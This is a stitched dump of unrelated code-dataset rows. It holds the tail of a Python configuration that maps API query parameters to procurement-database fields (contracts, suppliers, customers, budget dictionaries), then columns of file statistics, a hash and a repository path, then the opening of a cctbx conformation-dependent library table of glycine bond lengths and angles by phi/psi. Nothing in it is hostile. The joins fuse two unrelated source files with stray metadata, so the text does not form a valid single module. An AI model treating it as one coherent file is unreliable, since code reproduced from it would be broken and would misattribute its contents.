"supplierkpp": {"field": u"suppliers.kpp", "type": "unicode", "default": None},
"okpd": {"field": u"products.OKPD.code", "type": "unicode", "default": None},
"okdp": {"field": u"products.OKDP.code", "type": "unicode", "default": None},
"budgetlevel": {"field": u"finances.budgetLevel.code", "type": "unicode", "default": None},
"customerregion": {"field": u"regionCode", "type": "unicode", "default": None},
"industrial": {"field": u"economic_sectors.code", "type": "unicode", "default": None},
"currentstage": {"field": u"currentContractStage", "type": "unicode", "default": None},
"daterange": {"field": u"signDate", "type": "daterange", "default": None},
"placing": {"field": u"placingWayCode", "type": "placingtype", "default": None},
"pricerange": {"field": u"price", "type": "floatrange", "default": None},
"fz": {"field": u"fz", "type": "unicode", "default": None},
},
"sort": {
"price": [1, -1],
"signDate": [1, -1]
}
},
u"invalidcontracts": {
"function": selectData,
"modifier": modifier_select_rsp_invalidcontracts,
"description": {"DB_Name": "Contracts", "DB_collectionName": "ContractsInnKppAnalytics_v3"},
"parameters": {
"valid": {"field": u"_valid", "type": "boolean", "default": False},
"regnum": {"field": u"regNum", "type": "unicode", "default": None},
"customerinn": {"field": u"customer.inn", "type": "unicode", "default": None},
"customerkpp": {"field": u"customer.kpp", "type": "unicode", "default": None},
"supplierinn": {"field": u"suppliers.inn", "type": "unicode", "default": None},
"supplierkpp": {"field": u"suppliers.kpp", "type": "unicode", "default": None},
"customerregion": {"field": u"regionCode", "type": "unicode", "default": None},
"reasonslistand": {"field": u"_invalidReasonList", "type": "listand", "default": None},
"reasonslistor": {"field": u"_invalidReasonList", "type": "listor", "default": None}
},
"sort": {
"price": [1, -1],
"signDate": [1, -1]
}
},
u"suppliers": {
"function": selectData,
"modifier": modifier_select_rsp_suppliers,
"description": {"DB_Name": "Organizations", "DB_collectionName": "Suppliers_v3"},
"parameters": {
"inn": {"field": u"inn", "type": "unicode", "default": None},
"kpp": {"field": u"kpp", "type": "unicode", "default": None},
"regioncode": {"field": u"regionCode", "type": "unicode", "default": None},
"orgform": {"field": u"organizationForm", "type": "unicode", "default": None},
"orgclass": {"field": u"_orgClass", "type": "unicode", "default": None},
"inblacklist": {"field": u"xRNP.inRNP", "type": "boolean", "default": None}
},
"sort": {
"contractsCount": [1, -1],
"contractsSum": [1, -1]
}
},
u"customers": {
"function": selectData,
"modifier": modifier_select_rsp_customers,
"description": {"DB_Name": "Organizations", "DB_collectionName": "Customers_v3"},
"parameters": {
"spzregnum": {"field": u"regNumber", "type": "unicode", "default": None},
"okpo": {"field": u"OKPO", "type": "unicode", "default": None},
"okved": {"field": u"OKVED", "type": "unicode", "default": None},
"name": {"field": u"fullName", "type": "unicode", "default": None},
"inn": {"field": u"inn", "type": "unicode", "default": None},
"kpp": {"field": u"kpp", "type": "unicode", "default": None},
"ogrn": {"field": u"ogrn", "type": "unicode", "default": None},
"okogu": {"field": u"okogu.code", "type": "unicode", "default": None},
"okato": {"field": u"factualAddress.OKATO", "type": "unicode", "default": None},
"subordination": {"field": u"subordinationType.id", "type": "unicode", "default": None},
"orgtype": {"field": u"organizationType.id", "type": "unicode", "default": None},
"kladregion": {"field": u"factualAddress.region.kladrCode", "type": "unicode", "default": None},
"regioncode": {"field": u"regionCode", "type": "unicode", "default": None},
"orgclass": {"field": u"_orgClass", "type": "unicode", "default": None}
},
"sort": {
"contractsCount": [1, -1],
"contractsSum": [1, -1]
}
},
u"dicts": {"function": underConstruction},
u"regions": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "Regions"},
"parameters": {
# "name": {"field": u"name", "type": "unicode", "default": None},
"regioncode": {"field": u"subjectCode", "type": "integer", "default": None},
"okato": {"field": u"codeOKATO", "type": "integer", "default": None},
"kladr": {"field": u"codeKLADR", "type": "integer", "default": None}
}
},
u"budgetlevels": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "BudgetLevels"},
"parameters": {
"level": {"field": u"budgetLevelCode", "type": "unicode", "default": None}
}
},
u"opf": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "OPF"},
"parameters": {
"opf": {"field": u"opf", "type": "unicode", "default": None}
}
},
u"kbk": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "kbk"},
"parameters": {
"actual": {"field": u"actual", "type": "unucode", "default": u"true"},
"kbk": {"field": u"kbk", "type": "unicode", "default": None},
"budget": {"field": u"budget", "type": "unicode", "default": None}
}
},
u"kosgu": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "kosgu"},
"parameters": {
"actual": {"field": u"actual", "type": "unucode", "default": u"true"},
"kosgu": {"field": u"code", "type": "unicode", "default": None}
}
},
u"invalidreasons": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "InvalidReasons"},
"parameters": {
"code": {"field": u"code", "type": "unicode", "default": None}
}
},
u"orgtype": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "OrgType"},
"parameters": {
"code": {"field": u"code", "type": "unicode", "default": None}
}
},
u"okato": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "okato"},
"parameters": {
"code": {"field": u"code", "type": "unicode", "default": None},
"parentcode": {"field": u"parent", "type": "unicode", "default": None},
"level": {"field": u"level", "type": "integer", "default": None}
}
}
}
APIdict[u"dictionaries"] = {
u"budget": {
"function": select_budget_dict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Dictionaries", "DB_collectionName": "Budget"},
"parameters": {
"grbs": {"field": u"chief_steward", "type": "unicode", "default": None},
"fkr": {"field": u"section", "type": "unicode", "default": None},
"sub-fkr": {"field": u"subsection", "type": "unicode", "default": None},
"csr": {"field": u"target_article", "type": "unicode", "default": None},
"kvr": {"field": u"type_expenditure", "type": "unicode", "default": None},
"level": {"field": u"level", "type": "less_int", "default": None}
}
},
}
APIdict[u"statistics"] = {
u"regionspending": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Statistics", "DB_collectionName": "RegionSpending_v3"},
"parameters": {
# "name": {"field": u"name", "type": "unicode", "default": None},
"regioncode": {"field": u"regionCode", "type": "unicode", "default": None},
"year": {"field": u"year", "type": "unicode", "default": None}
}
},
u"db_info": {
"function": selectDict,
"modifier": modifier_select_rsp_dictionaries,
"description": {"DB_Name": "Statistics", "DB_collectionName": "db_statistics"},
"parameters": {
"info": {"field": u"info", "type": "unicode", "default": None},
}
}
}
try:
from common.local_query_settings import *
except ImportError:
pass
| 46.767584
| 120
| 0.542013
| 2,773
| 30,586
| 5.845294
| 0.090876
| 0.068851
| 0.15769
| 0.181874
| 0.823123
| 0.809057
| 0.781294
| 0.763835
| 0.729595
| 0.686039
| 0
| 0.00368
| 0.253744
| 30,586
| 653
| 121
| 46.839204
| 0.706462
| 0.012816
| 0
| 0.584142
| 0
| 0
| 0.419598
| 0.016166
| 0
| 0
| 0
| 0.001531
| 0
| 1
| 0
| false
| 0.001618
| 0.008091
| 0
| 0.008091
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
648deae5893f1126bc788e34f09ee0b7888e39e4
| 652,012
|
py
|
Python
|
mmtbx/conformation_dependent_library/cdl_database.py
|
rimmartin/cctbx_project
|
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
mmtbx/conformation_dependent_library/cdl_database.py
|
rimmartin/cctbx_project
|
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
mmtbx/conformation_dependent_library/cdl_database.py
|
rimmartin/cctbx_project
|
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
from __future__ import division
version = "CDL v1.2"
cdl_database = {
"Gly_nonxpro" : {
(-180, -180) : ['B', 14, 120.86, 1.62, -1, -1, 110.42, 1.49, -1, -1, 121.63, 0.95, 114.72, 1.32, 123.61, 1.16, 1.327, 0.0115, 1.4508, 0.0113, -1, -1, 1.5117, 0.0124, 1.2356, 0.0123],
(-180, -170) : ['B', 7, 120.56, 1.42, -1, -1, 110.8, 1.41, -1, -1, 121.38, 1.05, 114.98, 1.64, 123.62, 1.15, 1.3269, 0.0101, 1.4489, 0.0121, -1, -1, 1.5118, 0.0114, 1.233, 0.0125],
(-180, -160) : ['B', 7, 120.51, 1.22, -1, -1, 111.08, 1.62, -1, -1, 121.08, 1.12, 115.31, 1.79, 123.58, 1.13, 1.326, 0.0105, 1.4483, 0.0135, -1, -1, 1.5101, 0.012, 1.2324, 0.0113],
(-180, -150) : ['I', 1379, 121.41, 1.96, -1, -1, 113.18, 2.37, -1, -1, 120.57, 1.74, 116.69, 2.04, 122.7, 1.3, 1.3305, 0.0146, 1.4492, 0.0145, -1, -1, 1.5143, 0.0141, 1.2347, 0.0135],
(-180, 160) : ['B', 4, 120.92, 1.3, -1, -1, 110.38, 1.48, -1, -1, 121.49, 0.96, 114.58, 0.86, 123.87, 1.01, 1.3258, 0.0129, 1.4495, 0.0163, -1, -1, 1.513, 0.011, 1.236, 0.011],
(-180, 170) : ['B', 10, 121.03, 1.51, -1, -1, 110.18, 1.56, -1, -1, 121.62, 0.98, 114.67, 1.11, 123.67, 1.16, 1.3267, 0.0124, 1.4516, 0.014, -1, -1, 1.512, 0.0121, 1.2358, 0.0115],
(-170, -180) : ['B', 13, 120.84, 1.91, -1, -1, 110.55, 1.64, -1, -1, 121.6, 0.97, 114.82, 1.35, 123.55, 1.19, 1.3281, 0.0118, 1.4507, 0.0107, -1, -1, 1.5117, 0.0115, 1.2339, 0.0106],
(-170, -170) : ['B', 13, 120.51, 1.63, -1, -1, 111.19, 1.45, -1, -1, 121.41, 0.95, 114.94, 1.39, 123.61, 1.21, 1.3262, 0.0109, 1.4471, 0.0119, -1, -1, 1.5114, 0.0118, 1.2323, 0.0116],
(-170, -160) : ['B', 6, 120.57, 1.39, -1, -1, 111.59, 1.63, -1, -1, 121.21, 1.07, 115.11, 1.43, 123.64, 1.37, 1.3244, 0.0119, 1.445, 0.0131, -1, -1, 1.5104, 0.0139, 1.2319, 0.0105],
(-170, 160) : ['B', 7, 121.09, 1.46, -1, -1, 110.91, 1.49, -1, -1, 121.29, 1.03, 114.84, 1.06, 123.76, 0.93, 1.3278, 0.0136, 1.4492, 0.0128, -1, -1, 1.5102, 0.01, 1.2358, 0.0112],
(-170, 170) : ['B', 14, 121.05, 1.85, -1, -1, 110.56, 1.66, -1, -1, 121.56, 1.07, 114.73, 1.3, 123.66, 1.14, 1.3283, 0.0132, 1.4519, 0.0118, -1, -1, 1.5111, 0.0108, 1.2343, 0.0102],
(-160, -180) : ['B', 11, 121.22, 2.05, -1, -1, 110.66, 1.9, -1, -1, 121.61, 1.05, 114.93, 1.52, 123.44, 1.16, 1.33, 0.0122, 1.4491, 0.0107, -1, -1, 1.5125, 0.011, 1.233, 0.0099],
(-160, -170) : ['B', 5, 121.15, 1.8, -1, -1, 111.27, 1.67, -1, -1, 121.38, 0.94, 115.03, 1.27, 123.56, 1.24, 1.3274, 0.0117, 1.4439, 0.0119, -1, -1, 1.512, 0.0121, 1.2328, 0.0111],
(-160, -160) : ['B', 5, 121.37, 1.56, -1, -1, 111.66, 1.91, -1, -1, 121.33, 1.18, 115.22, 1.15, 123.39, 1.73, 1.3232, 0.0146, 1.4429, 0.0117, -1, -1, 1.5101, 0.0183, 1.2319, 0.0098],
(-160, -150) : ['B', 3, 121.83, 1.19, -1, -1, 111.04, 2.37, -1, -1, 121.16, 1.36, 115.69, 1.14, 123.1, 1.76, 1.3197, 0.0157, 1.4496, 0.0091, -1, -1, 1.5103, 0.0221, 1.2331, 0.007],
(-160, 150) : ['B', 5, 121.27, 1.32, -1, -1, 110.87, 1.54, -1, -1, 121.06, 0.9, 115.59, 1.26, 123.27, 0.76, 1.3294, 0.013, 1.4497, 0.0094, -1, -1, 1.5089, 0.0092, 1.235, 0.0102],
(-160, 160) : ['B', 7, 121.17, 1.66, -1, -1, 111.14, 1.8, -1, -1, 121.37, 1.09, 114.99, 1.39, 123.56, 0.93, 1.3297, 0.0136, 1.4499, 0.0105, -1, -1, 1.5098, 0.0103, 1.2352, 0.0108],
(-160, 170) : ['B', 10, 121.22, 2.07, -1, -1, 110.83, 1.91, -1, -1, 121.68, 1.17, 114.77, 1.57, 123.51, 1.15, 1.3307, 0.0138, 1.4511, 0.0105, -1, -1, 1.5112, 0.011, 1.2331, 0.0098],
(-150, -180) : ['B', 6, 121.93, 1.87, -1, -1, 110.73, 1.9, -1, -1, 121.46, 1.15, 115.24, 1.59, 123.29, 1.06, 1.3315, 0.0124, 1.4466, 0.0101, -1, -1, 1.5132, 0.0115, 1.2326, 0.0107],
(-150, -150) : ['B', 3, 122.42, 1.13, -1, -1, 110.69, 2.05, -1, -1, 120.92, 1.3, 115.88, 1.21, 123.16, 1.31, 1.3233, 0.0166, 1.4527, 0.0086, -1, -1, 1.5109, 0.0197, 1.235, 0.0078],
(-150, -140) : ['B', 3, 122.16, 0.77, -1, -1, 111.16, 1.76, -1, -1, 120.54, 1.25, 116.3, 1.35, 123.14, 0.76, 1.3276, 0.0187, 1.4578, 0.0092, -1, -1, 1.5035, 0.0183, 1.2391, 0.0085],
(-150, 150) : ['B', 7, 121.38, 1.22, -1, -1, 110.8, 1.71, -1, -1, 121.19, 0.91, 115.53, 1.33, 123.23, 0.81, 1.325, 0.0133, 1.4525, 0.0103, -1, -1, 1.5102, 0.0111, 1.2353, 0.011],
(-150, 160) : ['B', 7, 121.26, 1.42, -1, -1, 111.03, 1.87, -1, -1, 121.48, 1.09, 114.93, 1.51, 123.54, 0.92, 1.3301, 0.0132, 1.4504, 0.0109, -1, -1, 1.5126, 0.0108, 1.2355, 0.0122],
(-150, 170) : ['B', 7, 121.47, 1.69, -1, -1, 110.97, 1.92, -1, -1, 121.61, 1.19, 114.92, 1.57, 123.45, 1.06, 1.3333, 0.014, 1.4485, 0.01, -1, -1, 1.5128, 0.0109, 1.2332, 0.0124],
(-140, -180) : ['B', 3, 122.03, 1.28, -1, -1, 111.12, 1.49, -1, -1, 121.31, 1.09, 114.95, 1.41, 123.73, 0.88, 1.334, 0.0145, 1.4474, 0.0093, -1, -1, 1.5159, 0.0104, 1.2324, 0.0128],
(-140, 150) : ['B', 5, 121.46, 0.95, -1, -1, 110.9, 1.53, -1, -1, 121.47, 0.9, 115.09, 1.29, 123.36, 0.89, 1.3251, 0.0119, 1.4507, 0.0106, -1, -1, 1.5127, 0.0103, 1.233, 0.0118],
(-140, 160) : ['B', 13, 121.35, 1.03, -1, -1, 110.96, 1.49, -1, -1, 121.63, 1.07, 114.74, 1.48, 123.57, 0.93, 1.332, 0.0131, 1.4469, 0.0108, -1, -1, 1.5152, 0.0093, 1.2335, 0.0136],
(-140, 170) : ['B', 8, 121.48, 1.06, -1, -1, 111.1, 1.46, -1, -1, 121.49, 1.15, 114.83, 1.49, 123.65, 0.92, 1.336, 0.0156, 1.4462, 0.0095, -1, -1, 1.5155, 0.0089, 1.2334, 0.0152],
(-130, -180) : ['B', 4, 122.17, 0.89, -1, -1, 111.42, 1.42, -1, -1, 121.47, 0.91, 114.56, 1.22, 123.95, 0.77, 1.334, 0.0121, 1.4473, 0.0094, -1, -1, 1.5187, 0.0101, 1.2328, 0.0118],
(-130, -150) : ['B', 5, 123.04, 1.89, -1, -1, 111.2, 1.39, -1, -1, 121.72, 0.96, 114.96, 1.34, 123.31, 1.01, 1.3304, 0.0169, 1.4446, 0.0083, -1, -1, 1.5178, 0.0124, 1.233, 0.0192],
(-130, -140) : ['B', 3, 122.7, 1.81, -1, -1, 110.77, 1.59, -1, -1, 121.78, 0.91, 115.24, 1.44, 122.97, 1.15, 1.3291, 0.0185, 1.4509, 0.0086, -1, -1, 1.5166, 0.013, 1.2308, 0.019],
(-130, 140) : ['B', 3, 121.65, 0.68, -1, -1, 111.46, 1.75, -1, -1, 120.94, 0.78, 115.49, 1.03, 123.49, 0.8, 1.3219, 0.0141, 1.4543, 0.0099, -1, -1, 1.5118, 0.0087, 1.2304, 0.0134],
(-130, 150) : ['B', 5, 121.61, 0.77, -1, -1, 111.38, 1.63, -1, -1, 121.57, 0.87, 114.98, 1.14, 123.37, 0.88, 1.3267, 0.0115, 1.4483, 0.0104, -1, -1, 1.5135, 0.0086, 1.2308, 0.0121],
(-130, 160) : ['B', 5, 121.58, 0.86, -1, -1, 111.18, 1.54, -1, -1, 121.76, 1.03, 114.75, 1.4, 123.42, 0.91, 1.3335, 0.0122, 1.4438, 0.0102, -1, -1, 1.5161, 0.0082, 1.2312, 0.0138],
(-130, 170) : ['B', 5, 121.82, 0.84, -1, -1, 111.14, 1.46, -1, -1, 121.57, 1.07, 114.79, 1.49, 123.6, 0.87, 1.3365, 0.0137, 1.4446, 0.0099, -1, -1, 1.5187, 0.0089, 1.2337, 0.0154],
(-120, -180) : ['B', 4, 122.67, 1.1, -1, -1, 112.06, 1.66, -1, -1, 121.88, 1.14, 114.5, 1.19, 123.59, 0.87, 1.3334, 0.0096, 1.4439, 0.0091, -1, -1, 1.5198, 0.0104, 1.2338, 0.012],
(-120, 140) : ['B', 3, 122.33, 0.73, -1, -1, 111.04, 1.77, -1, -1, 120.57, 0.95, 115.89, 1.04, 123.48, 0.94, 1.3245, 0.0132, 1.4555, 0.0116, -1, -1, 1.5156, 0.0081, 1.2326, 0.0137],
(-120, 150) : ['B', 3, 122.18, 0.69, -1, -1, 111.19, 1.75, -1, -1, 121.11, 0.9, 115.58, 1.07, 123.25, 0.9, 1.3292, 0.0119, 1.4491, 0.0114, -1, -1, 1.5161, 0.0093, 1.2322, 0.0124],
(-120, 170) : ['B', 5, 122.47, 0.89, -1, -1, 111.57, 1.74, -1, -1, 121.77, 1.15, 114.9, 1.44, 123.29, 0.87, 1.3361, 0.0101, 1.444, 0.0102, -1, -1, 1.5218, 0.0106, 1.237, 0.015],
(-110, -180) : ['B', 5, 122.77, 1.21, -1, -1, 112.64, 1.74, -1, -1, 122.56, 1.65, 114.3, 1.2, 123.12, 1.18, 1.3331, 0.01, 1.4431, 0.0086, -1, -1, 1.5213, 0.0113, 1.2287, 0.0125],
(-110, -170) : ['B', 4, 122.69, 1.04, -1, -1, 112.81, 1.38, -1, -1, 122.23, 1.29, 114.65, 0.92, 123.11, 1.07, 1.3332, 0.011, 1.4418, 0.0077, -1, -1, 1.5176, 0.0107, 1.2326, 0.0095],
(-110, -160) : ['B', 4, 122.85, 1.21, -1, -1, 112.79, 1.2, -1, -1, 121.93, 1.06, 115.27, 0.76, 122.79, 0.98, 1.3342, 0.0119, 1.4381, 0.0141, -1, -1, 1.5147, 0.0108, 1.2383, 0.0089],
(-110, 10) : ['B', 5, 122.3, 1.52, -1, -1, 115.8, 1.74, -1, -1, 119.04, 0.91, 118.95, 1.06, 121.97, 0.95, 1.3324, 0.0106, 1.4485, 0.0132, -1, -1, 1.511, 0.0103, 1.2386, 0.0071],
(-110, 130) : ['B', 3, 122.73, 0.93, -1, -1, 110.71, 1.53, -1, -1, 120.75, 0.94, 115.43, 1.18, 123.8, 0.92, 1.3299, 0.0085, 1.4525, 0.014, -1, -1, 1.5201, 0.0073, 1.2326, 0.0128],
(-110, 140) : ['B', 8, 122.8, 0.97, -1, -1, 110.71, 1.78, -1, -1, 120.64, 0.98, 115.83, 1.32, 123.49, 1.1, 1.3274, 0.0111, 1.4562, 0.0132, -1, -1, 1.5185, 0.0073, 1.2342, 0.0134],
(-110, 150) : ['B', 5, 122.66, 0.98, -1, -1, 111.12, 1.89, -1, -1, 120.94, 0.98, 115.83, 1.37, 123.18, 1.13, 1.3303, 0.0136, 1.4507, 0.0116, -1, -1, 1.5165, 0.0101, 1.2331, 0.0128],
(-110, 170) : ['B', 5, 122.69, 1.08, -1, -1, 112.1, 1.82, -1, -1, 122.27, 1.54, 114.61, 1.26, 123.09, 1.11, 1.3335, 0.0111, 1.4439, 0.0093, -1, -1, 1.522, 0.0129, 1.2298, 0.0137],
(-100, -180) : ['B', 10, 122.3, 1.03, -1, -1, 112.58, 1.58, -1, -1, 122.52, 1.46, 114.55, 1.16, 122.91, 1.22, 1.334, 0.012, 1.4445, 0.0096, -1, -1, 1.5227, 0.0136, 1.2285, 0.012],
(-100, -170) : ['B', 5, 122.43, 0.89, -1, -1, 112.57, 1.37, -1, -1, 122.33, 1.11, 114.8, 1.04, 122.86, 1.06, 1.3332, 0.011, 1.4448, 0.0092, -1, -1, 1.5188, 0.0114, 1.2326, 0.0094],
(-100, -160) : ['B', 4, 122.83, 1.21, -1, -1, 112.6, 1.43, -1, -1, 121.9, 1.02, 115.25, 0.98, 122.82, 1.06, 1.3295, 0.0126, 1.4445, 0.0142, -1, -1, 1.5147, 0.0119, 1.2363, 0.0092],
(-100, -150) : ['B', 5, 123.29, 1.88, -1, -1, 112.55, 1.44, -1, -1, 121.53, 1.06, 115.61, 1.03, 122.8, 1.35, 1.3253, 0.0127, 1.4471, 0.0189, -1, -1, 1.5135, 0.0113, 1.2368, 0.0102],
(-100, -140) : ['B', 4, 123.12, 2.16, -1, -1, 112.13, 1.34, -1, -1, 121.28, 1.01, 115.71, 1.0, 122.92, 1.43, 1.3247, 0.0123, 1.4533, 0.0197, -1, -1, 1.5133, 0.0106, 1.2362, 0.0109],
(-100, -90) : ['B', 3, 123.95, 1.5, -1, -1, 110.21, 0.91, -1, -1, 121.36, 0.36, 116.75, 0.67, 121.85, 0.56, 1.3294, 0.0083, 1.4471, 0.0075, -1, -1, 1.5146, 0.0062, 1.2448, 0.0119],
(-100, 0) : ['B', 5, 122.66, 2.06, -1, -1, 115.61, 1.74, -1, -1, 119.28, 1.39, 118.41, 1.29, 122.29, 1.26, 1.33, 0.0147, 1.4452, 0.0132, -1, -1, 1.5106, 0.0162, 1.2349, 0.0115],
(-100, 10) : ['B', 7, 122.83, 1.8, -1, -1, 115.46, 1.63, -1, -1, 119.1, 1.26, 118.6, 1.16, 122.27, 1.14, 1.3296, 0.0124, 1.4468, 0.0124, -1, -1, 1.5127, 0.0128, 1.2368, 0.0094],
(-100, 120) : ['B', 3, 122.29, 0.89, -1, -1, 111.34, 1.97, -1, -1, 120.81, 0.86, 115.82, 1.1, 123.35, 0.63, 1.3322, 0.005, 1.444, 0.0136, -1, -1, 1.5143, 0.0082, 1.233, 0.0135],
(-100, 130) : ['B', 7, 122.2, 0.95, -1, -1, 110.95, 1.74, -1, -1, 120.91, 0.87, 115.47, 1.21, 123.61, 0.77, 1.3309, 0.0066, 1.4516, 0.014, -1, -1, 1.5174, 0.007, 1.2332, 0.0119],
(-100, 140) : ['B', 7, 122.36, 0.97, -1, -1, 111.25, 1.79, -1, -1, 120.92, 0.91, 115.57, 1.37, 123.48, 1.04, 1.3287, 0.0097, 1.4536, 0.0137, -1, -1, 1.5188, 0.007, 1.2313, 0.0133],
(-100, 150) : ['B', 7, 122.38, 1.08, -1, -1, 112.04, 2.02, -1, -1, 121.23, 1.08, 115.52, 1.46, 123.21, 1.2, 1.3287, 0.0139, 1.4487, 0.0118, -1, -1, 1.5175, 0.01, 1.2288, 0.0147],
(-100, 160) : ['B', 4, 122.15, 1.17, -1, -1, 112.51, 1.9, -1, -1, 121.58, 1.5, 115.24, 1.4, 123.13, 1.49, 1.3324, 0.0191, 1.4441, 0.0106, -1, -1, 1.5177, 0.0156, 1.2287, 0.0143],
(-100, 170) : ['B', 4, 122.16, 1.14, -1, -1, 112.51, 1.71, -1, -1, 122.2, 1.7, 114.74, 1.13, 123.03, 1.46, 1.3333, 0.017, 1.4448, 0.0101, -1, -1, 1.5225, 0.0169, 1.2278, 0.0142],
(-90, -180) : ['B', 8, 121.83, 1.18, -1, -1, 112.6, 1.53, -1, -1, 122.36, 1.38, 114.78, 1.16, 122.84, 1.32, 1.3343, 0.0152, 1.4463, 0.0113, -1, -1, 1.5186, 0.0167, 1.2302, 0.0121],
(-90, -170) : ['B', 9, 122.27, 0.99, -1, -1, 112.41, 1.5, -1, -1, 122.28, 1.0, 114.81, 1.16, 122.88, 0.95, 1.3317, 0.0129, 1.4463, 0.0106, -1, -1, 1.5168, 0.0133, 1.2324, 0.0091],
(-90, -160) : ['B', 11, 122.55, 1.1, -1, -1, 112.55, 1.76, -1, -1, 121.92, 1.05, 115.06, 1.23, 122.96, 0.99, 1.3286, 0.0162, 1.4472, 0.0123, -1, -1, 1.5138, 0.0135, 1.2336, 0.0098],
(-90, -150) : ['B', 4, 122.75, 1.28, -1, -1, 112.77, 1.74, -1, -1, 121.64, 1.04, 115.44, 1.28, 122.85, 1.2, 1.326, 0.0163, 1.4496, 0.0143, -1, -1, 1.5122, 0.013, 1.2351, 0.0116],
(-90, -10) : ['B', 7, 121.82, 2.3, -1, -1, 115.66, 1.56, -1, -1, 119.59, 1.66, 117.97, 1.62, 122.42, 1.59, 1.3326, 0.0162, 1.4486, 0.0134, -1, -1, 1.5096, 0.0182, 1.2344, 0.0136],
(-90, 0) : ['B', 21, 122.46, 2.7, -1, -1, 115.62, 1.71, -1, -1, 119.55, 1.85, 118.24, 1.65, 122.18, 1.51, 1.3299, 0.0161, 1.4458, 0.0137, -1, -1, 1.5098, 0.0167, 1.235, 0.0128],
(-90, 10) : ['B', 9, 122.78, 2.61, -1, -1, 115.34, 1.67, -1, -1, 119.34, 1.75, 118.36, 1.46, 122.27, 1.37, 1.3289, 0.015, 1.4461, 0.0133, -1, -1, 1.5121, 0.0137, 1.2355, 0.0111],
(-90, 130) : ['B', 5, 121.62, 0.96, -1, -1, 111.31, 1.95, -1, -1, 120.76, 0.81, 115.86, 1.13, 123.35, 0.74, 1.332, 0.0066, 1.4507, 0.0136, -1, -1, 1.5152, 0.0109, 1.2339, 0.0105],
(-90, 140) : ['B', 3, 121.57, 0.97, -1, -1, 111.62, 1.77, -1, -1, 121.18, 0.88, 115.43, 1.22, 123.35, 1.0, 1.3307, 0.01, 1.452, 0.0159, -1, -1, 1.5204, 0.0099, 1.2294, 0.0134],
(-90, 150) : ['B', 5, 121.45, 1.06, -1, -1, 112.54, 1.79, -1, -1, 121.53, 1.26, 115.32, 1.42, 123.11, 1.41, 1.33, 0.0158, 1.448, 0.0156, -1, -1, 1.5187, 0.0125, 1.2281, 0.0163],
(-90, 160) : ['B', 5, 121.13, 1.35, -1, -1, 113.02, 1.59, -1, -1, 121.71, 2.04, 115.17, 1.43, 123.07, 2.05, 1.3342, 0.0254, 1.4448, 0.0133, -1, -1, 1.5183, 0.0201, 1.2294, 0.0164],
(-90, 170) : ['B', 9, 121.3, 1.44, -1, -1, 112.89, 1.58, -1, -1, 121.99, 2.06, 114.96, 1.15, 123.02, 1.98, 1.3358, 0.0246, 1.4469, 0.0117, -1, -1, 1.5191, 0.0215, 1.2295, 0.0157],
(-80, -180) : ['B', 13, 121.67, 1.43, -1, -1, 112.66, 1.62, -1, -1, 122.51, 1.41, 114.75, 1.26, 122.71, 1.26, 1.3316, 0.0154, 1.4455, 0.013, -1, -1, 1.5165, 0.0175, 1.2309, 0.0117],
(-80, -170) : ['B', 11, 121.96, 1.38, -1, -1, 112.31, 1.59, -1, -1, 122.47, 1.08, 114.66, 1.37, 122.81, 0.86, 1.3296, 0.0131, 1.4457, 0.0123, -1, -1, 1.5171, 0.0143, 1.2321, 0.0094],
(-80, -160) : ['B', 10, 122.04, 1.44, -1, -1, 112.27, 1.86, -1, -1, 122.03, 1.15, 114.96, 1.49, 122.92, 0.91, 1.3294, 0.0167, 1.4471, 0.0113, -1, -1, 1.515, 0.0127, 1.2336, 0.0099],
(-80, -150) : ['B', 3, 122.19, 1.22, -1, -1, 112.64, 1.91, -1, -1, 121.67, 1.08, 115.5, 1.45, 122.77, 1.03, 1.3308, 0.0168, 1.4503, 0.0104, -1, -1, 1.513, 0.0122, 1.2368, 0.0123],
(-80, -30) : ['B', 4, 120.34, 1.26, -1, -1, 113.86, 1.5, -1, -1, 120.09, 1.07, 117.55, 1.11, 122.34, 1.15, 1.3351, 0.0119, 1.4517, 0.0125, -1, -1, 1.5124, 0.0127, 1.235, 0.0118],
(-80, -20) : ['B', 11, 120.79, 1.75, -1, -1, 114.66, 1.24, -1, -1, 119.45, 1.18, 117.82, 1.24, 122.71, 1.26, 1.3358, 0.0132, 1.4518, 0.0137, -1, -1, 1.5123, 0.0139, 1.2351, 0.0114],
(-80, -10) : ['B', 10, 121.34, 2.32, -1, -1, 115.32, 1.31, -1, -1, 119.31, 1.6, 117.98, 1.54, 122.68, 1.41, 1.3329, 0.0157, 1.4505, 0.0157, -1, -1, 1.5119, 0.0167, 1.2347, 0.0123],
(-80, 0) : ['B', 19, 122.06, 2.79, -1, -1, 115.73, 1.59, -1, -1, 119.54, 1.94, 118.17, 1.75, 122.26, 1.49, 1.3308, 0.0175, 1.4473, 0.0158, -1, -1, 1.5097, 0.0166, 1.2341, 0.0125],
